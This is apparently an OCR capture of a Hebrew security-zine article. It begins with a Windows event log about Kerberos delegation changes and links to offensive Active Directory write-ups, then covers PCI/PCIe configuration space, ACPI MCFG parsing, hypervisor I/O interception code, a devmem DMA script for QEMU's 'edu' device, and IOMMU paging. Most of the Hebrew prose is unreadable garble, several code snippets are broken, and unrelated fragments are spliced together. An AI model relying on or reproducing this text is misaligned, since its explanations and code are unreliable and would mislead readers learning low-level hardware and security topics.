DN: CN=SERVICEB,CN=Computers, DC=shenanigans,DC=labs
GUID:  CN=SERVICEB,CN=Computers DC=shenanigans,DC=labs
Class:  computer

[LDAP Display Name: msDS-AllowedToActOnBehalfOfOtherldentity ]

iy (OID) =5
Value:  Malformed Security Descriptor

Operation:
Type:  Value Added
Correlation ID:  {cbfa950¢c-8733-4cfa-2d39-9b8923ebb348)
Application Correlation ID: -

Log Name: Security

Source: Microsoft Windows security Logged: 1/23/2019 9:44:56 PM
M Task Category: Directory Service Changes

Level: Information Keywords: Audit Success

User: N/A Computer. DCl.sh gans.labs

OpCode: Info

More Information: Event Log Online Help
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7w D217 nwx¥nKa) PrintNightmare M> NI9pPNN INT? NIVXN QI0 'R LINVI'RA W' D 1ND
AYON T'AN 90112 .INKNAN 102 YR 9'0IX ,(RPC NITIRD 7w D'nTpnn MNP D*IN'T IX EventViewer
NIN'YN NIYX¥NXA SPN '1'w 7w nopnn NINT? 7211 RN ,7wn? ,01yn 0'90n 1N'T Nnrva 7y awny
7ax CIFS 7w SPN Dy 4769 :nnalT ?aNX NN'wa HOST INIXY nwa X D'lon SPN-7 4769 yNn'X

HTTP 217101092 nTay? niwpn

nid'o

19> .Domain N2101 Delegation X1j1w |"aynn VO01ZN W NP7 N1ANY 'MANY DN IR
mY7 ,90mM li7'yn% N9'X NN TV W'L0IMY DM O'NNSNNA AT DINN2A 017 A01 NI9ZNAN ,'MANDY
2V 2Y7 nxnn N AR INT DT DY IXT IR NDEN NINT a7 RWIN DX N7 ivny

I9'0INY VTN NNIZN

yT'n nNnipgn

D'0901I7 7V DN20N NN TIV 700 .My TR T 72V AND1 ,1NXNN N2MDY7 WN'Yw Mp'vn 1NRNn
:NINP7 DIN2 DX nIopNni

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

:Powerview "70n 7w git-n Ty

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

:NI9011 NISPNNI TAXN] NI9ZNAN 77D 7w nwnwin
https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-

directory/

:Unconstrained delegationi printer nightmare-2 win'w 7w T'¥7 'V D17

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-

71f2b33688e1
:Kerberos 71i7101N92 NI9PNN 7V 'I¥Nl 970 1NRN

https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61

:MS-SFU 7¢ m1NNKRN X0NA7 V'an? I72IN NT MW T

https://docs.microsoft.com/en-us/openspecs/windows protocols/ms-sfu/3bff5864-8135-400e-bdd9-

33b552051d94
(1272 0'x'XY) NTLM 7w RFC-n 7@ NINNRN RONA7 YAN7 I7DIN DT W 0T

https://docs.microsoft.com/en-us/openspecs/windows protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-

8dd3182128e4
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https://blog.sygnia.co/demystifying-the-print-nightmare-vulnerability
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/
https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b38c36ed-2804-4868-a9ff-8dd3182128e4
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PCl oy DNl D'znYn

'01 NN NXN

aNTN

vann NTiEm PCIl-n 'adN 7v Wy D7IVN DR Q70 MRNN |D'7I NNIN YR NIF'm TINN 7NN "X

N NTNKRA 27U NIMPYN NNOAN .Y'¥N7 AT 0717 W'Y AYiynn N1NIY NN 7

.N7U9N NdIWN NIMB0 K77 DA NNIN 217 (driver) 12T N7 0Y720 DX K77 7907

IO DN [N NI IOMMU-N TXD 11a0n07,0'10 7w NI7DNN DY71IVY DNANKD DX I0Y e

Lyio NN

.N'T 9IN2 NNIXR NI7YNYT IR X7 MyX7Y 9 NI TIR ITMUN INN TR WO AR IRNN 17001

N7V MNR/197 'T'9N [ND'T7 NW'A DD7 NMWONNW N'MID0/"70 KIXNYT Y701 IR 7220N7 170mw nn 7y

.N7VU9NN Ndwn

PCI

Y"\n'? 117 TWONAYW NT NXIN TAYNN .TAyNN XN 2AUNN 'NIvawn DN Nninn 20w ppal 7'nm

'0'0D NI¥N7 TWONX DN .01 DI 117 DITIVY DNNIN DY TIV DIY! 22N NI DIP'JI'?I ninin

IWON 770 10T . Tayn? InwhD BUS-2 0ManNn 0D DNIXR 75 NT7n1 12DV 17'9X1 717 ,0n ,nwN

R —

[ Teru RAM

|

|

b PCIhoSt |- — — — — —— — 4
=== bridge |———————=
|

I Bus 0
: [ [

| Graphics PCI bus LAN

| adapter bridge adapter

I

I I Bus 1
I

: SCSI HBA

[https://docs.oracle.com :ijmn]

TAYNN DX NY7DW nwn v 2107 At DX NINTY
Host

32:1’:;9 D'71710N91 DN "DMATR" DN YNNI

INQAT? ,"MINMY D1DINN |7'7I'1U TV .0"TAN
,0NX .USB aion 1ia'na nannt ,]"I'I"7|7YJI pRbly

PCI (Peripheral 7w x'p) PCI Dwa ia'na Nanny
address

domain .Component Interconnect)

23
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https://docs.oracle.com/cd/E19683-01/806-5222/hwovr-22/

:NIN NI2NN .0N901 3-1 NY1AY NAIMND W' (7RNY T¥N) Nn'w1a 2D 70 YW N1 17 0w na

Bus : Slot : Function

[¥N"7 710' 21271 02D DANNN DR Slots 190N W' Bus 727 .77 KIN XD IRINN TWX N1ann
NDYNT7 XY DX 2'¥NY TR YA 0'01D ,KNAIT? ,011Y 02D 190N 1D TpoNn?I functions 10N
wnnwK (NICs) nwn '0'u12'7 NNaom X7 nwhin '7 w'w 7721 .011W nwA 1001 190N D AYonn

JNKNN YYNNA XNAITD DN

N2 NI713' 190N W PCI-A DNANNNY 02D DNINY
DIAT? TXI NINION NI71VD YX¥A7 nninn ' wnT? 'Kwn Tavnn - IRQ (Interrupt Request) o
w' 271 TA'W NIDQ NI IT ATy Ny L(Poll Mode) n71von NX y¥a? im0 DNy TV NIX
)2 -Interrupt X'l Y9N0 NdWNI TAynn T 7Y Mvn 7apnw nwpa DIr'? 0T nnnin oy
N7X Interrupts-n 7w D71V7 ONY'NIX X7 IAXNN 17002 .07 NRIND'OXR NTIAY NNIXN IXY7 N1

.DNIYYT 1011171 TNRNN 2NY NINn'? DMA-Q Tpnnx

Taynn T 7Y nwyn (RAM) [ND'T7 ARMP/N2mdY nipna - DMA (Direct Memory Access) e
DN DAL TION [ND'T7 MW DWW DIIYD DRDYY7 ,TIAY DD N TAt7 217ve nan  unnd
NN'Y' ANI'N TYINN NY2ANY A7'an XnaT? .Taynn DIvnn X77 onTiay nX yxa? ot

JIWN 0'0DN T Y N

PCI Configuration Space

-Nn yIN :n1yn) PCE 2D 75 .00¥NM DNY N¥IIADIRZ NNTYA 021w PC-n a0 v y'own NN
'0NI9 YW T 7Y NWYN ITR INIK 7R NWIN .DY10117 ITR 7W 0N 256 |¥n*7 2'1nn (Host Bridge

:0'%an I/0-n

1ANIX PCI 20 7w Aol NNy |7 wnwn Xin .CONFIG_ADDRESS DA X173 N7 LI - OXCF8

:DXNNA D' V97 ANDIY MY0oNN 7vin ,|D'7 .offset nT'xa1 NWA? 0'1*21vN

Bit 31 ‘ Bits 30-24 ‘ Bits 23-16 ‘ Bits 15-11 ‘ Bits 10-8 ‘ Bits 7-0

Device Number | Function Number

Enable Bit ‘ Reserved ‘ Bus Number Register Offset'
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Technologic

X'NY NAIMDY? yraxn? nnn on D 17 o'wh awn offset-n NX 1"y nIwUxIn 0-7 D'o'an e
.D'09X NI'N'7 D'2''N DIINNNN D'V'AN 2 [271 N'X¥IIA'DAIZN 1NN 0'N2-4 7w NII9d]
(NN 19Y%) Nwah 0ravn NN 19X PCI-N AN YW Digmin DR Dty 8-23 0'ofan e

.CONFIG_DATA-7 "'y nwAWOR? NIN 7y 17T NIrn7 1 31-n0fan e

17X 22701 NIMDN DX CONFIG_ADDRESS 11yaj7w WnKY7 .CONFIG_DATA DA X171 N7 019 - OXCFC
NAMD/ARNP WX 0197 infout NITIRO .CONFIG_DATA-N 7NT I'78 NWA7 [N NYD ,NWA7 n¥M

NXAADIUPN TR 7Y DRIYRIN NITYN 22 |212N] IXIQ ,NYD .DXNN]

kil 16 16 0

Device ID Vendor ID 00h
Status Command 04h
Class Code Revislon ID | 08h

ST | Fader | el |t oon
10h

14h

Base Address Registers 18h

1Ch

20h

24h

Cardbus CIS Pointer 28h

Subsystem ID Subsystem Vendor ID 2Ch
Expansion ROM Base Address 30h
Reserved 34h

Reserved 38h

Max_Lat Min_Gnt In::‘eirl:upt Inl-tic-,;]r;upt 3Ch

Figure 6-1: Type 00h Configuration Space Header

[http://www-subatech.in2p3.fr/~electro/projets/alice/dimuon/trigger/jtag/data/PCl/pci_conf space.pdf :11pn]

W .0x8086 Wi N 17'D' XNAIT? Intel AN xn 7w ID-Nn X DI"¥nw DN 2 - Vendor ID e
.N1IXY NAIMD1 21 07 X7 |"¥n OxFFFF

0¥ TV IN1IW QDN 7Y TINT DNTA DY¥NY 0N 2 - Device ID o

:NAN '7NNN N2 079NN Nown W avyn Ynna, P
.bus 22 p"MwWOKN slots-n 72 NX pnon nownn .1
.(VendorID) 2> 72 7w lwx1n DWORD-n DX XN .2
:OXFFFF X7 XNIn Wi nTna .3
7¥ 0'nTN NIKOYZ N1 ,277 0O'RNNN N2MYTN DR INAY AT '9 2v1 DevicelD-Nn R pIMA7 W' .a

.X2N NX2 02
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http://www-subatech.in2p3.fr/~electro/projets/alice/dimuon/trigger/jtag/data/PCI/pci_conf_space.pdf
https://devicehunt.com/

Technologic

|21 ANKRYI A¥INY N1ANN XY 79071 NYAY YTI'Y TIZ 0IWS AT ?0'7XIW ONKR 12T INIK AT NNl
19 7V 1YWY AN M1I1'Y DNIX .N1ANNNA 'oNY7 [N DNIX DAY 2'DIN 7Y [ND'TA NITR INYA

2D INIR 7Y NX'N NIRAIN

wnwny DPDK nwa open source-1 .X7¥ 12aNON ?N7¥9nn NdIYN1 NAY7 2N 12T INIX DXN
NYN '0'01D7 DNAMT [INN DM user space-NN R'N N¥YNIN 70U NdD NNN NIYPEN NIIYD y¥a7?
NYIAN NIXWIN DR user space-7 N7 X'N ININA 70W 11WKR 12T YT 2V nwyl NTn DOZN .D1IY
NNWNN X77 7272 user space-nn N'WYI N al7n 7D pn ANK71 PCI-n 2D e nd 77 Nixinan

275 nvonin noavn

X7 v N |07 hypervisor NN TIp NNAIT D27 MOIY .nwn nnp'7 DA [N ,NYA D' INNY NI

JNXNN D71WN KN W AT 2V DA hypervisor NT N [XD 2'NIN

N71Y9 ,Nj' NINYIoON NIZIY9 TWROYW D TIR 7¢ N1OW 9'0In7 Tayna 12NN NNYPY NI¥PA 10X
2V DA NRT 7007 NI .AUNINNY n71Y921 7907 N¥M T 727N 17DTOY N2dWNI 709N Taynn

:N7Y9NN NDWN NYx¥anw 1/0-n NITIR9Y7 proxy NNKRA KIN [XD D7 A'¥RY TIpn .1/0 NITipo

attribute ((always inline))
VOID INLINE _ out (IN DWORD port, IN DWORD data)
{
asm ( 3 ¢ (port),

}

attribute ((always inline))
VOID INLINE Aiin(DWORD port, DWORD PTR data)
{

asm ( : (*data) :

(!is in)

__out (port, data->guestRegisters.rax);
if (port == 0xCF8)
{

data->currentCPU->currentConfigAddress = config address;

DWORD in data;
__in(port, &in data);
if (port == 0xCFC)

{

if (data->currentCPU->currentConfigAddress.slotNumber 0x03)
{
in data = Oxffff;
}
}

data->guestRegisters.rax = in data;
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https://www.dpdk.org/
https://www.digitalwhisper.co.il/files/Zines/0x7C/DW124-1-NativeHyperVisoer.pdf

N2 NY WImMN XD

N1aNN 'S 7Y ANdIYW YN DX MWL NTIRON DR y¥a 0xCF8 11197 OUT NTIpo wr twNd .1
OTIP 'MIRY

.3790n slot-2 PCI 277 N1y K0 ORN 2ITAN IN DT W awNdy .2

.OXFFFF-2 RAX M2IX2 NITN7 NMIMXY NRXYINN NN q"‘znn JJ200K .3

VX211 TWUKXD D71 N2 XINW NINNY 11a'n2a PCE DY D'pw NINT? ant7xn X7 n7w9nin nd>vn oAl
‘271 Ispci
ri Feb 25 14:11:42

Intel Corporation 44 { PMC [Natomal (rewv 02)

tel I tio [Matoma,Triton II]
face: Intel Corporatior *TTX D Matoma/Triton II]
i ntel Corpor ]
GA compatible

DNAYINN X7 71X .3 slot-2 0TI OW D" A'Y DYWIN 0'01D X777 DTIgRN NN NNIX NNTI
NN Da PCLann 78 nwi nN/nion? NIy XN NIvAYNAN 72X N9 AXINY 00PN YoInn TNI'na

.N1DINN

PCI Express

-0 7w N1ana v T Ik 01w LPCl Express XINW PCI-0 11a'N 7w NN T axin 2004 nava

(NMIN 7w Wik X7 X ,21¥) DIVNI9 NND TIVA AXNIDI DAYXPA ,bus

NNN7Y MINI 75 0TI DONXK YR .NNINYN X'N DA NDINN 7W 0anD NTIRIA 2D17 nwan
DTI? D27 '"MAXNY NV'WN 271 Backwards compatibility 7y Wniv [pnn Ty 0217 nwan nnuny

.TIAyn [Ty OxCF8-1 0xCFC 0'v1I9N DY |27

NN XNP712M3Y7 NI [N2'T 2NN X7X /0 '0119] win'y nwyl X7 DYDY NIN 'TOINN ''Yn
[91XQ 27N 7W NIANINNN 7V Y'OWN YTAMY [IN2'TN ITR? AP N2NDY XD Diynwnn .((MMIO)
[N2'TN 2NN L9010 .1NXY Tayna X71 RAM-1 DRIMNY Nnin MR 7y md N1 2y 21wn? |na - e

2070 7Y |ND'T 2NN INIXR NIX D'RYIN T¥D 027 A'¥X NYd1 .02 4096-7 0'NA 256-n 7712

27w NIYLIY NIN7AL 7Y qoIX DINA 771D (“Advanced Configuration and Power Interface”) ACPI
nNNIND 7Y YT NI7HN NIK7A0 NIR .27V900 DDy 197 Ty ,Nd2'T? 2v7yn '7nna oTpin

N2 XX¥N1 YT'AN 72X [1ND'T2 NIX7A0N DX RI¥NT TXD 2'NIX K7 NN NNty
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Technologic

:NIN N7W n1annl “MCFG” Signature-n NX N'7'oN D'YSNN NNIXY N'7200

Offset Length Description
‘0 4 Table Signature ("MCFG")
4 4 Length of table (in bytes)
8 1 Revision (1)
9 1 Checksum (sum of all bytes in table & OxFF = 0)
‘ 10 6 OEM ID (same meaning as other ACPI tables) = ACPI Header
‘16 8 OEM table ID (manufacturer model ID)
| 24 4 OEM Revision (same meaning as other ACPI tables)
‘ 28 4 Creator ID (same meaning as other ACPI tables)
| 32 4 Creator Revision (same meaning as other ACPI tables)
36 8 Reserved -
Configuration space base address allocation structures. Each structure uses the following format:
Offset Length Description
0 8 Base address of enhanced configuration mechanism
44 +(16*n) 16 8 2 PCI Segment Group Number
10 1 Start PCI bus number decoded by this host bridge
1" 1 End PCI bus number decoded by this host bridge
12 4 Reserved

[https://wiki.osdev.org/PCl :1m]

170 ACPI Header Xin (7'710 32 offset TV) nlann n7'nn e
"Reserved" DNW O'N 8 W' PN INX7 o
JINR NNIYA 79 wnn an%,07200 IRA 2'on7 N 1P TR NRY YN 2'NNN D INR. @
:D'NAN NITYNN 20N wnn
XA TR NN 7w NAINDN - Base Address o
BUS-7 "avn groini 1NN 7w NN DR 7*Tan PCI-E - PCI Segment Group Number o
7 N aN? .0Na'n NP NYONNY N90Il NN L (segment) Domain WA NTAN
.0 DY TNX Domain
.(0aN%) yojmin on"nn 1IWKRY Bus NT'X7 - Start PClbus o
.(OxFF an%) yojmn on"nn bus nT'X TV - End PCl bus o

"reserved"D'Ma4 o

19'¥90 101 7W N'YIIADIIR INX7 NN 7Y, NIYIIA'IZN ITR 7W N'7NNNN DX |'¥N Base Address-n

XAnN Av'N2a Ty

start bus) << 20 | Slo | Function << 12)

PCloy 01Nl o'pnwn
www.DigitalWhisper.co.il
28 2022 '1"9x ,138 |I'"1A



https://wiki.osdev.org/PCI

Technologic

UNNYN XY "0Pnunn 3"-n DX 027 QIYNX [IND'TN 2NN DX XIXN7 yTNIn 70 X 117 U'y Ny

2

Nip*Ta Nao

¢ 77NN NNM2aY 1anon .QEMU 2un VM DTV K NIRR0 A0 Y7107 N wnnwn IR TN
PCI-E2 ndninw N™78107'1 NN 0¥ 21 nTna .PCl Express-2 X71 PCl BUS-2 win'w nwyl QEMU

1 ynnuxrY QEMU 7w nth n71ynn 1'X¥'DN 2V TIY RNpRY N1 "-machine 35" 7aTh NX q'oIn? v

XD

:0N "MIN'T DNIX 02220 ,NYY 0'0IDN 7 DNIYWKRIN D'NAY 111XV VAN N0 NYD

typedef struct {
UINT32 Signature;
UINT32 Length;
BYTE Revision;
BYTE Checksum;
BYTE OemId([6];
UINTG4 OemTableId;
UINT32 OemRevision;
UINT32 CreatorId;
UINT32 CreatorRevision;
} attribute  ((packed)) ACPI DESCRIPTION HEADER;
typedef struct {
UINT64 base address;
WORD pci segment group number;
BYTE start pci bus;
BYTE end pci bus;
UINT32 reserved;
__attribute  ((packed)) BASE ADDRESS STRUCTURE;

ef struct {
ACPI DESCRIPTION HEADER header;
UINT64 reserved;
BASE ADDRESS STRUCTURE base[N];
} attribute  ((packed)) ACPI MCFG HEADER;

N7NNNN DX DY DIVN DN0NN9N DX 0'9 TN 7011 "MCFG"-n N'720%7 y'axYxnin NN X¥XNIY 1NXRY

:2190n slot-2 NY> X¥xNIW NYWA 0'0 DN 1Y N'XAIA'01PZN NITX v

HEADER* mcfg mcfgTable;
add = mcfg-> o : < ) I (2 <<

Prirlt ("*****************\nll> <

Print ("PCI domains %d\n", (mcfg->header.Length -
Sizeof(ACPIiDESCRIPTIONiHEADER))

/ sizeof(BASE_ADDRESS_STRUCTURE));
"PCI Base Address \n", mcfg->base[0] .base address);
"PCI Start Bus Number \n", mcfg->base[0] .start pci bus);
Print ("PCI End Bus Number \n", mcfg->base[0].end pci bus);
Print ("Slot 2 Address: \n", address);

Print ("First Bytes: \n", *(UINT32*)address) ;
E‘ril’lt ("*****************\n"> ;

Print
Print

(
(
(
(
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https://wiki.qemu.org/Features/Q35
https://wiki.qemu.org/Features/Q35

NI NX¥N 79 output-nl
R AR AR AR AR R R R A AN

PCI domains 1

PCI Base Address 00000000BOOOOOOO
PCI Start Bus Number 00

PCI End Bus Number FF

Slot 2 Address: 00000000B0O160000
First Bytes: 0000000010D38086

RAEARAAAAAEAERERE R RN AN

.(Qmnxn1 DITRN 0'Yaxn 7un) nwa 0'vdN 7w VendorID-ni DevicelD-n X 1727w 17 0'wh N2

NTIPON NKX Y"\n'? [N NdnNn v [N2'TN NINNT NRIIYA YX27 D'¥YNIENT'N

sudo cat /proc/iomem

atvall

.(PCI Base Address) 110Xy IIXX¥NAWY |ND'TN TR NTY ['N2NY7 [N NI

N7 X'D N72V90N NOWN 7w nnuaw N nivawnnl “Reserved” 1IN MIon [N NITRY A% MY
NINY 11N NNON AN NIYYIYZ DDNIX AT [T ATK? NWa .A%W DDan? At N2 Wnnun

0Wwnn v nninn 1A 7y NNy yiown
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Bash-aamT

NTIAYN PV ,'M2TY 9D .NNNINT 12T W N2'MdY7 WINTN YT DR 007 'Naxn D'MTIpn D'p7N2
'TANY 217 '0'02 12T AN, NYD L[INJ'TN 97D 27N [¥N'Y N'XIIAIIRN 2NN DY TIAY7 RN

JN2'T7 MDA K11 2N NOTva .DMA N7

QEMU-7 71"w X101 DONIN 21 RIN edu “edu” DWA ["Iyn 21 XIN 12T 17 2MIY 20N
22va 17w IPNnn TIRA DA 2IANN7 N1 .(D'0ITIVO NIAY FTIY! [SIN] AND]) TN NNUVNYT7 Ynwn XInl

{27 DR 9'0INT W INIX 70N NYRI0YIIN NIDNNY

-device edu

VTN LININ 291177 [N TYD1 XN XIN NN 207 NN 7V 270 79 01900 DR KNP XD XN 27un

XD DN 17D

NNIYRIN NINTANY 0NN N'WUK)
PCI specs

PCI ID: 1234:11e8
PCI Region 0:

I/0 memory, 1 MB in size. Users are supposed to communicate with the card

through this memory.

[>n ANX7 .DevicelD-1 VendorID :aINRN TAXNN 107N [AMdY IXINN 7¢ ID-N DX NIKY7 [N [XON
TR DPIMN N9'R .(MMIO) 17W R'YA'91IR7 wnwnw [ND'T TR 7¢ nan W' 2019w 1% 0'wY 1N
NN NITRN [IWRIN (Base Address Register) BAR-N MNTYa IMIN ANKYT N1 ?ATD |N2'TN

:(BARO) "7'70n

Register | Offset | Bits 31-24 | Bits 23-16 Bits 15-8 Bits 7-0
0x0 0x0 Device ID Vendor ID

0x1 Ox4 Status Command

0x2 0x8 Class code | Subclass Prog IF Revision ID
0x3 O0xC BIST Header type | Latency Timer | Cache Line Size
0x4 0x10 |Base address #0 (BARO)

0x5 0x14 |Base address #1 (BAR1)

0x6 0x18 |Base address #2 (BAR2)

0x7 0x1C |Base address #3 (BAR3)

0x8 0x20 |Base address #4 (BAR4)

0x9 0x24 |Base address #5 (BARS)

[https://wiki.osdev.org/PCl :1jmn]
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https://github.com/qemu/qemu/blob/master/hw/misc/edu.c
https://github.com/qemu/qemu/blob/master/docs/specs/edu.txt
https://wiki.osdev.org/PCI

B Technologic o

0i712'72wW DdY% N7aX ,0'DY Y7NYI NN NITR DY TIAY? 0721010 11D DNRY YTI' 'ARY [11'DN
Yn'? na

:BARO-1 D2 D"'7 NT W ,0xfea00000 NAINDA [IND'T TR D'PW NIXY [N NAIWNAL

00:03.C
ice 1100
(=] g 1, latency 0, IRQ 11
Memo at fesz 000 it, on-prefetchable) [size=1M]
Capab

DNAY NN KIN [IWRIN 7700 ,DMA-D 7w API-2 Ti7nnal 270 7w 019NN NX KN7'7 1'wna  Nyd
.0'M2 4 anN2 1901 17W NAIMDY 2INd1 NIVYWO] 7Y 191177 N¥I1 IWXD .27 NIKIINN DX 0'1D)
NXIINNT NYNINN X' 197 "NoS5M" N2MdN DXV 7aX [IND'T7 2Nd1 N 17'KD 'R RN

('Miynwn NnRa X7 N2IMD7 N2IMD 2 7NN AT 7722) 217 nnay

Ox80 (RW) : DMA source address
Where to perform the DMA from.

Ox88 (RW) : DMA destination address
Where to perform the DMA to.

DMA transfer count

The size of the area to perform the DMA on.

0x98 (RW) : DMA command register, bitwise OR
Ox01 -- start transfer
0x02 -- direction (@: from RAM to EDU, 1: from EDU to RAM)
Ox04 -- raise interrupt ©x100 after finishing the DMA

2NDY [A NIT'AT NYSIXRD .vn 0x40000 NAINDA 7'ThA 2010 )2 Ty 270 7w DMA-N [1mn
script-2 wnimn N'N' 2IMD1 NNIXY 2T LJN2'TA IR 1 Inn XN IR [ND'TTan )wn INIX X
:NINQN N71V9N DX Y¥A* KINl bash 7w

.0'M14 'nyn7 W' nnn namy 207 YN L1

D'NA 4 OPIMN NAMNDNL,Z'NVN KINY DN 4-0 X DX 2IMD7 NN 217 1FTAY KIN DN NK? - .2

JYRAN NAINDN "MNK
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Technologic

busybox X1j7aw 701 wnnwa ?bash-2 NT DX wNN1 'RI1.700 0T,|ND'TA DN 4 7Y 7190w :ARXINND
AT'ON [N2'T7 N2'MD Y¥a7 7210nY

2 AR TIEN

#!/bin/bash

ADDR=0xfea00000
DMA_ADDR:OX9be 0
sudo busybox devmem . Oxffffffff

sudo busybox devmem P 32 $((DMA ADDR))
sudo busybox devmem 3 32 0x40000

sudo busybox devmem < 32 4

sudo busybox devmem < 32 1

sleep 2

sudo busybox devmem < 0x40000

sudo busybox devmem z $((DMA_ADDR + 0x4))
sudo busybox devmem : 4

sudo busybox devmem : 3

sleep 2

sudo busybox devmem

:D'N2N DA7WNN ' TN
4 |2 7Y D2 2D 90w XN InIX [IN2'TNI N'XAIA'OIPN NITX 7v namon NX YT n7nnima L1

JInd NN 0'NA
2070 79 N'TAWN7 0NN 4 DR P PR nNg - 2

22TN DX N2 2DINY PITAT XD NFOAIXR N T .ANTN0N NNAVAY RTH? Nan 7Y sleep w91 .3

(jna'th 2NN DX Y 210 DA L)) NNV 7w N7NNN onw 0x98 NaIMdA NP7 TV
(1P9'OW [ND'TN JWNN) 4 7w 00N NNXNIY NAIND7 2N W ynnn D'MaN 4 NX 'yl .4
.NNYNN 0I'07 TV sleepaiw yxd1 .5
N17%0 PINNNY XTIHZ DR 112N0W NAIMDA WA DX 0'9T1 91017 .6

7w DNYxN7 '0Np XINY 'MIoNNY 7N Y 73X PR bash-2 72T amd? nnxn lgn e

DY 2DIN W DMA-D yIIN7 ZWOKNNY |ND'T 72T 0" .)*70nn
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2 XMW "Command Register" nwa nTw 0 (772 19182 PCI 201 7w) n'¥1A911Pn 2NN Jina

Command Register

Here is the layout of the Command register:

Bits 11-
' 155 Bit 10 Bit 9 Bit 8 Bit7 Bit 6 Bit5 Bit4 Bit 3 Bit 2 Bit 1 Bit0
Fast Back- v M Wit
Interrupt ast Bag SERR# Parity Error e ’ e Special |Bus Memory | I/O
Reserved Disable to-Back Enable Reserved Response Palette and Invalidate Cycles | Master | Space Space
Enable P Snoop Enable y P P

[https://wiki.osdev.org/PCl :1ijmn]

nm 7y 371 DMA yx2%7 277 NMwOKN NRTA N715'N,"Bus Master” NXI7aw N710' |'xn nTwA Bit2

'R, 7Y D790 N7'NNA NYYIAIAIZN ANNA NTH 7aTN DX 7' TRY W T manny

2NN DX NX7 0'72100 12D ONX DD TV 1AKRNA 0D7 'M79'ow 070 72 NITya ?NT NN D'WIY

.0DDONXY1 INIX ']I'\DLII 20N WY n'X11A'91InN

IOMMU

IN Input-Output Memory Management Unit-n Xin PCI-n 'a'D>1 07102 DawNn DM TNX

JOMMU nia'n 'wxN2

:DNANK 1901 N7y NXT N713',(DMA) 'T'9n [IND'T7 N'W! NWA WP 0'ADNY7 |07 0TI 'MNDThY '9)

YIoWUN7 013 27N 7w N7 DR XY qpin 'o17'NY IX 17w driver-2 IN DYION 2D v L1

NAIND NYA 0'0dN DY DRNNY QIN X'N NIV RNAIT J10wn'? mn PT]'? DNA71 'T'D [N 2y

"IN NN NINYAN QINYT 'RY T 0701 NAIMdNL,NMIYRNN NI7AN DX 7277 no¥N Xin naY

NN 'T'9N NIINDN ANNYT NYTIN NN K7 775 1072 N7RI0NIN NIdNn ANTYRIvTN 07va .2

EPT-n '© 2y NwI9 N'7NI0N1N NN jon . "EPT" bwa 720 1 72y Nnir 0% niumnon

Main Memory

]

——
Device

— —
| loMMU l MMU .

3 Physical addresses

A H 1
addresses :  Virtual Taddresses§

Device | | cPU

-
S R R P P

[https://www.wikipedia.com :1iIpn]

nOWNAN TR NIT'O NIUND 1 R DN 200Nl
NAIND 2N DY DXNY 172100 X7 NN n7von

.DNIY NX YNYUNY N'1'

DANK DY TTIANN? Nin 72y ¥ IOMMU-n 200,21
NI'T'S NIANDYT YA 2NN Yam XINY D T 90 19X
N'T'S NAIND |27 Ui 2'21NY NAIMD |2 DIATN y¥Ian|

.paging-n (122107 NnITa

34
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?]1221n0 AR 'R
.paging-n 122107 NnIT IOMMU-N 'M1"¥Y Ind

XN NIXA TAY 112100 U197 N7RI0Y NAIMD "2 nNNY? wnwnw DN [12221 NIN Paging

Virtual Address

Level 1 Level 2 Level 3 offset

PTBR o Frame offset

Physical Address

ETE

. PTE

: PTE

3 Level paging system

[https://www.geeksforgeeks.org/multilevel-paging-in-operating-system :11pn]

2Ta N XN IWRN offset-nN TWKRD NIX7A0 IN 72X offsets 7w qoIxn N2d1M N7w NAIMdN Dyya
N720% yraxnn X¥n1 0220 752v 75 DI NN NfYN NIX7A0N T T N 7K offset-> wnwni

.CR3-2 MW y'axnn x86-1 ,72IX2 2" T2 DZINN [IWXIN Y'AXNAN .AXAN

(0'n2a 4096-7 TV y'an) 12-bit 7w 71122 't (URIN offset-n TR 4KB XIN 17 1T 7T1an1 7Nl

(9 NpTN 2) 512 NDIKY 0720 JIN 7K Index-d wnw' RIN ' 9-bit 1IN Nt W offset-n TN

NTY 0'N2 512*4096 Ndd NIDNYT N1 DXV INXK page 7w N7NNNY7 Y'ax¥N n7201 nnivw 'Dw 772
512Gb 17 |n'n noon n72v ,1Gb nTw 512*2MB NI9n7 7211 512 1IKA n720 TIV 9ol OX .2MB

.JN2'T 7 NNV N7 12D Y1 N2V TIY DTV
NIX 'R D VIYD L (NIRTAL 4-1 UKD offset) 48-bit-n ANI* NDIINY NAIMdA wnnwa X7 0T 7722

:D'2¥N 2 NNP7 D'71D'Y 'YX
qIN 72X y'axnw offset-7 N2IMdN NN N7 0'0AN DX 9'0INT1 'R 0720 72V NNYT XN [IURIN @
N 7R Y1ax¥n7 117 N DNNINRY 0'01AN 9 DY NANN' DIYRIN 0'0AN 12,8077 TR .'T'O T

NNTAY NIXRA XN N71> Namdn |""TVY N'720 NINS NMY'Y NINNY7 .2MB 17TIAY QT
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X'N NIYNYNN NIN?A0 3 TV NNAIT? 117 DTAM DX .'70'0771 NIX7A0 1901 N7 YTAMY RN IUn e

.512GB TV NI5N7 071> 11NIX TXI (9*3 + 12) 39-bit NIXA X'n N'7n'0NnN NAINDNY

Table 5. Second-level Paging Structures
. Physical Bits
Paging Entry Address of Selectin i
g Page Mapping
Structure Name Structure Entry
Context-entry (or | 47:39 N/A

Second-level

